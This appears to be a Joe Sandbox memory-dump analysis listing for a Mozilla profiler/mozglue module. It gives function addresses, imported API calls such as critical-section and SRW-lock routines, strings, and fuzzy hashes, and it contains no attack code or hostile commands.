MOZ_BASE_PROFILER_HELP, xrefs: 6C8E5511
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C8E50F3, 6C8E5121, 6C8E513C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C8E5749

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: GeckoMain$KpT{/$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-3084838816
Opcode ID: d82b9271f614d1eaeadfe74079f8f61af8e63c78b637b266a85547e1d3a57c00
Instruction ID: 68216b9f94fd15b2a570a346316d50e927d88799af3310d8040d7630dda941c0
Opcode Fuzzy Hash: d82b9271f614d1eaeadfe74079f8f61af8e63c78b637b266a85547e1d3a57c00
Instruction Fuzzy Hash: F241F5317093118BD724CF69C69071A77E1AFCB728F298A5CD9798BAD1CB31D845CB80

Function 6C910AE0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C910B66
EnterCriticalSection.KERNEL32(6C95E744), ref: 6C910B8D
LeaveCriticalSection.KERNEL32(6C95E744), ref: 6C910BC4

Strings

KpT{/, xrefs: 6C910AEF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: KpT{/
API String ID: 759993129-2391877073
Opcode ID: 4e4b22d79461ad1633dda1319fbc710e3b604cf7182e6ceebbe03dea74b5c7db
Instruction ID: ab569c3c47359f424cdea7b17c8c692506aa7d204c97dd12843a451701617f13
Opcode Fuzzy Hash: 4e4b22d79461ad1633dda1319fbc710e3b604cf7182e6ceebbe03dea74b5c7db
Instruction Fuzzy Hash: 3E213C317485184FCF08CB38D896A6E33A5AF89328F55422DF8158FB94EA72DD148790

Function 6C90FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C92D019,?,?,?,?,?,00000000,?,6C91DA31,00100000,?), ref: 6C90FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C92D019,?,?,?,?,?,00000000,?,6C91DA31,00100000,?,?), ref: 6C90FFF5
free.MOZGLUE(?,?,?,?,?,6C92D019,?,?,?,?,?,00000000,?,6C91DA31,00100000,?), ref: 6C91001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C92D019,?,?,?,?,?,00000000,?,6C91DA31,00100000,?,?), ref: 6C91002A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 9b7f12bf4513969b8b5fb1b8e5cd8c81c8f51202cf518764bf98da8301410179
Instruction ID: 69cf0dd21eec22f3e8a5743c4011bcaba14323bac57babd454296b544e9284d8
Opcode Fuzzy Hash: 9b7f12bf4513969b8b5fb1b8e5cd8c81c8f51202cf518764bf98da8301410179
Instruction Fuzzy Hash: 342106B2B002169FC7189E7C9C948AFB7BAFBC93283254738E525D7780EA31DD1186D4

Function 6C9222C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9222EF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C92233B
memcpy.VCRUNTIME140(?,?,?), ref: 6C922354

Strings

KpT{/, xrefs: 6C9222CE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy
String ID: KpT{/
API String ID: 3510742995-2391877073
Opcode ID: 5c7d84d9aa2c5f78a30231cf89ff67603c000de15ce0d49715400c08915e80d2
Instruction ID: 5af6ba5e5c2ac559ee191902998ea40e399eeec6d143f42b147f7b75293de47a
Opcode Fuzzy Hash: 5c7d84d9aa2c5f78a30231cf89ff67603c000de15ce0d49715400c08915e80d2
Instruction Fuzzy Hash: 6F21F871A00609AFCB14DF28CC94DBFB7B9EF96724B60462DE55557B90DB31EC08C690

Function 6C937B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C937B51
__aulldiv.LIBCMT ref: 6C937B6C
__aulldiv.LIBCMT ref: 6C937B8B
__aulldiv.LIBCMT ref: 6C937BB1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: 933a3e0ae9804c28957512b835c328f18d1f5e59bbedb8e5d3eba376f92bd0c5
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 072149B1B00609AFD754DF6DCC81EA7B7FCEB99314B10852DA41ADB740E634E9048BA1

Function 6C8EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8EB4F5
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C8EB502
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C8EB542
free.MOZGLUE(?), ref: 6C8EB578

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 75a696117bf6fd4f5187ede8c3d4d83ef2439c5fbbc39a9e7e97b939135aef31
Instruction ID: 54913428b5fc48e13c03d2f89cf7d82a69075499d6041d1e2701466bff0835f3
Opcode Fuzzy Hash: 75a696117bf6fd4f5187ede8c3d4d83ef2439c5fbbc39a9e7e97b939135aef31
Instruction Fuzzy Hash: 9F11A231A08B45C7D722CF29C604772B3B1FF9B328FA49B1AD84953A01EBB1A1D5C794

Function 6C913DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C8DF20E,?), ref: 6C913DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C8DF20E,00000000,?), ref: 6C913DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C913E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C913E0E

Part of subcall function 6C90CC00: GetCurrentProcess.KERNEL32(?,?,6C8D31A7), ref: 6C90CC0D
Part of subcall function 6C90CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C8D31A7), ref: 6C90CC16

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: dfdf7523d0a780fde1a6cc06f9eebecebb92a1e61acc8b548bc3162e3a0ef01b
Instruction ID: c6cf93369a480da05b8f7f22ca3ddcd977624ca19f8f4d426195547752c3c23a
Opcode Fuzzy Hash: dfdf7523d0a780fde1a6cc06f9eebecebb92a1e61acc8b548bc3162e3a0ef01b
Instruction Fuzzy Hash: 93F082716042087FDB00AB54DC41DAB373CEB56628F540020FE0817700D635FE2986F7

Function 6C922050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C92201B,?,?,?,?,?,?,?,6C921F8F,?,?), ref: 6C922064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92208E
free.MOZGLUE(?,?,?,00000000,?,6C92201B,?,?,?,?,?,?,?,6C921F8F,?,?), ref: 6C9220A3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: cc5be0d052902301206be2b7ed1973746115f9b6263bedd936a4f8bc82d39f16
Instruction ID: bc927fb959c9cae10a6183852f8089fab0f960ea777b939eae83cb6479e701f1
Opcode Fuzzy Hash: cc5be0d052902301206be2b7ed1973746115f9b6263bedd936a4f8bc82d39f16
Instruction Fuzzy Hash: 33F0E9B1204B00DBC7218F16D888B5BBBF8EF96374F14012AE54687711C775E90ACBD6

Function 6C91EB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C91EB11
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C91EB3C
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EB5B
GetCurrentThreadId.KERNEL32 ref: 6C91EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C91EBAC
GetCurrentThreadId.KERNEL32 ref: 6C91EBC1
AcquireSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000), ref: 6C91EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C91EBE5
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8,00000000), ref: 6C91EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C91EC46
CloseHandle.KERNEL32(?), ref: 6C91EC55
free.MOZGLUE(00000000), ref: 6C91EC5C

Strings

KpT{/, xrefs: 6C91E8BE
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C91EA9B
[I %d/%d] profiler_start, xrefs: 6C91EBB4

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: KpT{/$[I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-4167579781
Opcode ID: 7f1850408c11dbb80dab873166348a170005c9e7dbd5273276c09643456c770b
Instruction ID: 96bf365b837a56e563907fcc9261af2a20970218ce9c1c996aed672bd4f28523
Opcode Fuzzy Hash: 7f1850408c11dbb80dab873166348a170005c9e7dbd5273276c09643456c770b
Instruction Fuzzy Hash: FFF0A7313082549BDB009F5AD80DBA67774AB9226DFA44025E505D3F80D7749449C7A9

Function 6C9220B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9220B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C90FBD1), ref: 6C9220C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C90FBD1), ref: 6C9220DA
free.MOZGLUE(00000000,?,6C90FBD1), ref: 6C9220F1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6bf977331a40b3e693531161df2f2618f8b8e428761d127ef333dc8b7361cd61
Instruction ID: f406e2d370f9f4fa2fa860f17a89d6416d0ebaad45b00f313a75e7573a486028
Opcode Fuzzy Hash: 6bf977331a40b3e693531161df2f2618f8b8e428761d127ef333dc8b7361cd61
Instruction Fuzzy Hash: CDE0E531614A148BC3209F25980854EBBF9EF86324B54062AE54A83B00D779E64A86D5

Function 6C920350 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 243threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C920475

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9205C3

Strings

KpT{/, xrefs: 6C920360

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentProcess$TerminateThreadfree
String ID: KpT{/
API String ID: 1378537744-2391877073
Opcode ID: d3e3eda10d95abbdd51ecd167503bb86a385bd5abf877323e5382f8fb4839525
Instruction ID: 3cf2eb5cd530edbb8a4cc24b907f7dd6151349f243a240dc9f712c640686f7f8
Opcode Fuzzy Hash: d3e3eda10d95abbdd51ecd167503bb86a385bd5abf877323e5382f8fb4839525
Instruction Fuzzy Hash: 48818830608644CFC708DF28C094B69B3F5FB89318FA0896DD9998BF95DB39E815CB91

Function 6C9285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9285D3

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C928725

Strings

map/set<T> too long, xrefs: 6C928720

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 20bc85243b30af02766b4a34c22b491e037558e0397e3d1e06a3b9d4bd5e8fe7
Instruction ID: 6be6213e91e164a68b11f09a64435b13919c40c96e4315ba12b5e242de8b7107
Opcode Fuzzy Hash: 20bc85243b30af02766b4a34c22b491e037558e0397e3d1e06a3b9d4bd5e8fe7
Instruction Fuzzy Hash: 4E5196B6A10645CFD705CF18C084B5ABBF1BF5A318F18C18AD8985BB56C338E885CF96

Function 6C932570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6C932655
__Init_thread_footer.LIBCMT ref: 6C9326BE

Strings

KpT{/, xrefs: 6C93257F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: KpT{/
API String ID: 1226231535-2391877073
Opcode ID: cd3304818ec514096d42ee263618898eb30435cd1fa0e74d347b744f04cae086
Instruction ID: c5da9d1b48205e55f9a342096f7e1de61a31af38d461c37bb0d934b57c14587d
Opcode Fuzzy Hash: cd3304818ec514096d42ee263618898eb30435cd1fa0e74d347b744f04cae086
Instruction Fuzzy Hash: 8841EFB1A04714CFCB04CF18D488AAABBF1EF55314B5484AEC4599BB22D731E905CFE1

Function 6C930DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C930EFC

Part of subcall function 6C921B80: GetCurrentThreadId.KERNEL32 ref: 6C921B98
Part of subcall function 6C921B80: AcquireSRWLockExclusive.KERNEL32(?,?,6C921D96,00000000), ref: 6C921BA1
Part of subcall function 6C921B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6C921D96,00000000), ref: 6C921BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C930E50

Part of subcall function 6C8F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B85
Part of subcall function 6C8F5B50: EnterCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B90
Part of subcall function 6C8F5B50: LeaveCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5BD8
Part of subcall function 6C8F5B50: GetTickCount64.KERNEL32 ref: 6C8F5BE4

Strings

KpT{/, xrefs: 6C930DF0

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: KpT{/
API String ID: 2508600278-2391877073
Opcode ID: 99b0bc7f7b5030cfc26fba22290ea5fd768209139d2f86123a64bac6829158ea
Instruction ID: c828bde242f439ef76526a1cd3f9fc79a56f53804a2193b13f2571cf88d20515
Opcode Fuzzy Hash: 99b0bc7f7b5030cfc26fba22290ea5fd768209139d2f86123a64bac6829158ea
Instruction Fuzzy Hash: AF4188757087529FC708CF29C880A5AB7F5BF89318F40691DE88A97B81DB30E809CB91

Function 6C92C570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C92C605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6C92C672

Strings

KpT{/, xrefs: 6C92C581

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: KpT{/
API String ID: 3401907645-2391877073
Opcode ID: 868d933a6bc4377682a3f1e2474031b82e00ae00f667533539d59462fe61acf2
Instruction ID: b38a3a34d834c5699e2694c839d3f5a27e1623ea01eb32046be091521454931b
Opcode Fuzzy Hash: 868d933a6bc4377682a3f1e2474031b82e00ae00f667533539d59462fe61acf2
Instruction Fuzzy Hash: 704158716187059FC718DF29C88095ABBF5FF89318B108A2EE88A87B44E731F954CB90

Function 6C8D9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8D9B2C
memcpy.VCRUNTIME140(6C8D99CF,00000000,?), ref: 6C8D9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6C8D9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6C8D9DE4

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 6f2846d5ce1168acd2002de3e93f01e2b5d19a681df807127f52f2c314fff96b
Instruction ID: 43b183f1dcf4f95537cf5054759a2676eb8a90f7c158cc459351bd21ad5319c8
Opcode Fuzzy Hash: 6f2846d5ce1168acd2002de3e93f01e2b5d19a681df807127f52f2c314fff96b
Instruction Fuzzy Hash: 43D16D71A002199FCB24CF69C990AAEB7F2FF88314F1A8929E945A7740D731FD55CB90

Function 6C8D30F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8D3217
Part of subcall function 6C8D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8D3236
Part of subcall function 6C8D31C0: FreeLibrary.KERNEL32 ref: 6C8D324B
Part of subcall function 6C8D31C0: __Init_thread_footer.LIBCMT ref: 6C8D3260
Part of subcall function 6C8D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8D327F
Part of subcall function 6C8D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8D328E
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32AB
